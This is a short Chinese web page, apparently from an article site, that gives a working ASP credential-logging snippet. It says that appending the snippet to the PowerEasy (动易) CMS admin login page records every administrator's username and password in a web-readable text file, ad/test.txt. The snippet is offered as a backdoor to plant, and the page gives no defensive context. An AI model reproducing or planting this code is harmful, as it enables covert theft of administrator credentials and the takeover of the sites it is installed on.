注册
登录
| 关键词： 登陆 管理员 Server admin FileSystemObject test OpenTextFile CreateObject pwd com |
<% dim fo,fs,fn,uname,pwduname=request("username")pwd=request("password")if uname<>"" and pwd<>"" thenfo=Server.MapPath("../ad/test.txt")set fs=Server.CreateObject("Scripting.FileSystemObject")set fn=fs.OpenTextFile(fo,8,True)fn.Writeline(uname & ":::" & pwd)fn.Closeend if%> 比如将上面代码加入到动易整站系统登陆页面xxx.com/admin/admin_login.asp最后面，当管理员登陆后则会在xxx.com/ad/test.txt记录管理员登陆用户和密码 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
